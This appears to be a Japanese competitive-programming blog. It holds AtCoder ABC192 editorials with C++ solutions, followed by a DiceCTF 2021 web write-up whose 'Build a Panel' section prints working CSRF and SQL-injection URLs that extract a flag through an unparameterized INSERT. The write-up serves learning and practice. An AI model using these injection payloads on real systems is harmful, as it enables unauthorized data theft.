はまやんはまやんはまやん

hamayanhamayan's blog

Train [SOMPO HD プログラミングコンテスト2021(AtCoder Beginner Contest 192) E]

https://atcoder.jp/contests/abc192/tasks/abc192_e

前提知識

解説

https://atcoder.jp/contests/abc192/submissions/20346183

ダイクストラ法で解く。
ダイクストラから少ししか変更がないので、ダイクストラを一通り勉強した後の1up問題として最適。

問題はどうやってダイクストラに乗せるかであるが、一般的なダイクストラ同様に
D[cu] := 都市cuに到着する最短時間
を作って更新していけばいい。
問題は遷移時であるが、遷移時はKの倍数でしか出発できないので、遷移前の時間から最も近いKの倍数の時間を計算して、
そこからTで時間を延ばして遷移させる。
この遷移部分のみが、一般的なダイクストラ法と異なる。
他は一緒。
ちなみに、自分の実装では、一番近いKの倍数を得るのに、Kで切り上げをしてからKをかけるという方法を取っている。

int N, M, X, Y;
int A[101010], B[101010], T[101010], K[101010];
vector<pair<int, pair<int,int>>> E[101010];
//---------------------------------------------------------------------------------------------------
template<typename T> using min_priority_queue = priority_queue<T, vector<T>, greater<T>>;
int vis[101010];
ll D[101010];
ll dijk() {
    rep(i, 0, N) D[i] = infl;
    rep(i, 0, N) vis[i] = 0;

    min_priority_queue<pair<ll, int>> que;

    D[X] = 0;
    que.push({ 0, X });

    while (!que.empty()) {
        auto q = que.top(); que.pop();

        ll cst = q.first;
        int cu = q.second;

        if (cu == Y) return D[Y];

        if (vis[cu]) continue;
        vis[cu] = 1;

        fore(p, E[cu]) {
            int to = p.first;
            int T = p.second.first;
            int K = p.second.second;

            ll cst2 = (cst + K - 1) / K * K + T;
            if (chmin(D[to], cst2)) que.push({ D[to], to });
        }
    }

    return -1;
}
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N >> M >> X >> Y;
    X--; Y--;
    rep(i, 0, M) {
        cin >> A[i] >> B[i] >> T[i] >> K[i];
        A[i]--; B[i]--;

        E[A[i]].push_back({ B[i], {T[i], K[i]} });
        E[B[i]].push_back({ A[i], {T[i], K[i]} });
    }

    ll ans = dijk();
    cout << ans << endl;
}

Base n [SOMPO HD プログラミングコンテスト2021(AtCoder Beginner Contest 192) D]

https://atcoder.jp/contests/abc192/tasks/abc192_d

前提知識

解説

https://atcoder.jp/contests/abc192/submissions/20345441

誤読してしまったが、それもまた競プロなので問題を責めるべきではない。

場合分け

例えば、X=1, M=10の場合はどのようなnを選択しても、得られる値は1であり、M以下である。
だが、この場合でも「みなして得られる値」の個数としては1個である。
このように、|X|=1の場合は、どのようなnであっても同じ値となる。
よって、|X|=1だけ場合分けを行う。
X≦Mかを判定して、そうならば1だし、そうでないなら0が答え。
1<|x|であれば、nが変われば値は必ず変わるので、数が重複してしまう問題については無視していい。

考え始め

まず、X=10, M=1018であれば、答えは1018-1になるので、答えを全探索していく方法は微妙。
といって、DPできそうな感じもないので、二分探索かなという感じ。

二分探索

nについて、M以下となるかは単調性を持つ。
具体的にはある値を境にそれ以下であればM以下だし、それより大きいならばMより大きい。
よって、あるnについてM以下であるかの判定関数checkを作れば、それを使って二分探索ができる。

check関数

問題文に言われた通りに行うと、Xをn進数表記に変換していく作業をして、M以下であるかを判定すればいい。
これをそのまま行うとlong longを使ってもオーバーフローしてしまうので、Mをn進数表記に変換して、比較をする実装を行っている。
n進数変換を説明するのは面倒なので、ググってみてほしい。
まあ、問題文で唐突に「n進数表記」と出て理解してるなら、ここは大丈夫か。
あとは、大小比較はサイズを比較して、先頭から順に大小比較していく。

string X; ll M;
//---------------------------------------------------------------------------------------------------
bool check(ll n) {
    vector<ll> Y;
    ll m = M;
    while (0 < m) {
        Y.push_back(m % n);
        m /= n;
    }
    reverse(all(Y));

    if (X.size() < Y.size()) return true;
    else if (X.size() > Y.size()) return false;
    
    // the same size.
    int len = X.size();
    rep(i, 0, len) {
        ll x = X[i] - '0';
        ll y = Y[i];

        if (x == y) continue;
        else if (x < y) return true;
        else return false;
    }

    // X == Y
    return true;
}
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> X >> M;

    if (X.length() == 1) {
        ll x = stoll(X);
        cout << (x <= M ? "1" : "0") << endl;
        return;
    }

    int ma = -1;
    fore(c, X) chmax(ma, c - '0');

    ll ok = ma, ng = infl;
    while (ok + 1 < ng) {
        ll md = (ok + ng) / 2;
        if (check(md)) ok = md;
        else ng = md;
    }

    ll ans = ok - ma;
    cout << ans << endl;
}

Kaprekar Number [SOMPO HD プログラミングコンテスト2021(AtCoder Beginner Contest 192) C]

https://atcoder.jp/contests/abc192/tasks/abc192_c

解説

https://atcoder.jp/contests/abc192/submissions/20344221

なかなか複雑な問題に見えるが、問題文に書かれていることをシミュレートすれば通る。
この辺のどこから深く考えるかというのはスピードを上げるには重要なことであるが、
過去に見覚えが薄いものは特に、愚直解から考え始めるのがいいだろう。

関数fの実装はC++だと比較的簡単にかける。
to_stringで数を文字列に変換して、ソートしてからstoi関数に書けるとg1,g2が得られるので、あとは引いて答えるだけ。
leading-zeroもstoiはいい感じにしてくれる。
計算量としては、桁数は多くても10桁くらいなので、定数ぐらいに考えておく。
あとは、K回これを実行するので、計算量的にも間に合う。

int N, K;
//---------------------------------------------------------------------------------------------------
int f(int x) {
    string s = to_string(x);
    sort(all(s));

    int g2 = stoi(s);

    sort(all(s), greater<char>());

    int g1 = stoi(s);

    return g1 - g2;
}
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N >> K;
    int a = N;
    rep(i, 0, K) a = f(a);
    cout << a << endl;
}

uNrEaDaBlE sTrInG [SOMPO HD プログラミングコンテスト2021(AtCoder Beginner Contest 192) B]

https://atcoder.jp/contests/abc192/tasks/abc192_b

解説

https://atcoder.jp/contests/abc192/submissions/20343662

各文字毎に奇数番目、偶数番目で判定していく。
C++であれば、判定はasciiコードを使用した判定方法を使うのがフルスクラッチでやるには簡単。
大文字であれば文字コードがA~Zの間に、小文字であればa~zの間に収まることを利用して小文字大文字を判定する。
自分の実装では満たすなら何もしないし、満たさないならnoと返すようにしている。

string S;
//---------------------------------------------------------------------------------------------------
#define yes "Yes"
#define no "No"
string solve() {
    int N = S.length();
    rep(i, 0, N) {
        if (i % 2 == 0 && 'a' <= S[i] && S[i] <= 'z') {}
        else if (i % 2 == 1 && 'A' <= S[i] && S[i] <= 'Z') {}
        else return no;
    }
    return yes;
}
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> S;
    cout << solve() << endl;
}

Star [SOMPO HD プログラミングコンテスト2021(AtCoder Beginner Contest 192) A]

https://atcoder.jp/contests/abc192/tasks/abc192_a

解説

https://atcoder.jp/contests/abc192/submissions/20343316

100で割った余りを使用するのが簡単な解法。
100で割った余りを計算すると、小さい方で一番近い100の倍数との差が得られる。
求めたいのは、反対側、大きい方で一番近い100の倍数との差であるから、100-余りをして答える。

int X;
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> X;
    int ans = 100 - (X % 100);
    cout << ans << endl;
}

DiceCTF 2021 Web Writeups

CTFtime.org / DiceCTF 2021

題名 AC人数 AC 分野(白塗り) 解説
Babier CSP 349/1060 AC CSP Babier CSP [DiceCTF 2021] - はまやんはまやんはまやん
Missing Flavortext 224/1060 AC SQL Injection Missing Flavortext [DiceCTF 2021] - はまやんはまやんはまやん
Web Utils 131/1060 AC HTTP Parameter Pollutionっぽい Web Utils [DiceCTF 2021] - はまやんはまやんはまやん
Build a Panel 96/1060 AC SQL Injection, CSRF Build a Panel [DiceCTF 2021] - はまやんはまやんはまやん
Web IDE 32/1060
Build a Better Panel 13/1060
Watermark as a Service 20/1060

Build a Panel [DiceCTF 2021]

見ると、flagテーブルにflagが入っているが、問題文ではXSSが要求されているように見える。
XSSでadminのtokenを手に入れたあと、flagを手に入れる方法があるのだろうか。
でもcookieはどれもhttponlyがつけられている…CSRFか?
/admin/debug/add_widgetか。よく見るとここはプリペアードステートメントになってない。
INSERT文だが、SELECTを入れ子にすれば、flagを入れることができそうだ。
しかも、panelidは外部から差し込める。
これか…

https://build-a-panel.dicec.tf/admin/debug/add_widget?panelid=c6d4aa32-bb52-4565-b447-63ee4f6ae9e3&widgetname=a&widgetdata={"type":"type"}
これをadminに送ってみる。OK. 自分の所に反映された。

widgetnameにinjected','{"type":"type"}'); --が行けるか?

https://build-a-panel.dicec.tf/admin/debug/add_widget?panelid=c6d4aa32-bb52-4565-b447-63ee4f6ae9e3&widgetname=injected%27%2C%27%7B%22type%22%3A%22type%22%7D%27%29%3B%20--

いけますね

widgetnameに'||(select flag from flag),'{"type":"type"}'); --がファイナルアンサー

https://build-a-panel.dicec.tf/admin/debug/add_widget?panelid=c6d4aa32-bb52-4565-b447-63ee4f6ae9e3&widgetname=%27%7C%7C%28select%20flag%20from%20flag%29%2C%27%7B%22type%22%3A%22type%22%7D%27%29%3B%20--

来ました dice{ch41n_ChAIn_aNd_m0Re_cHaIn}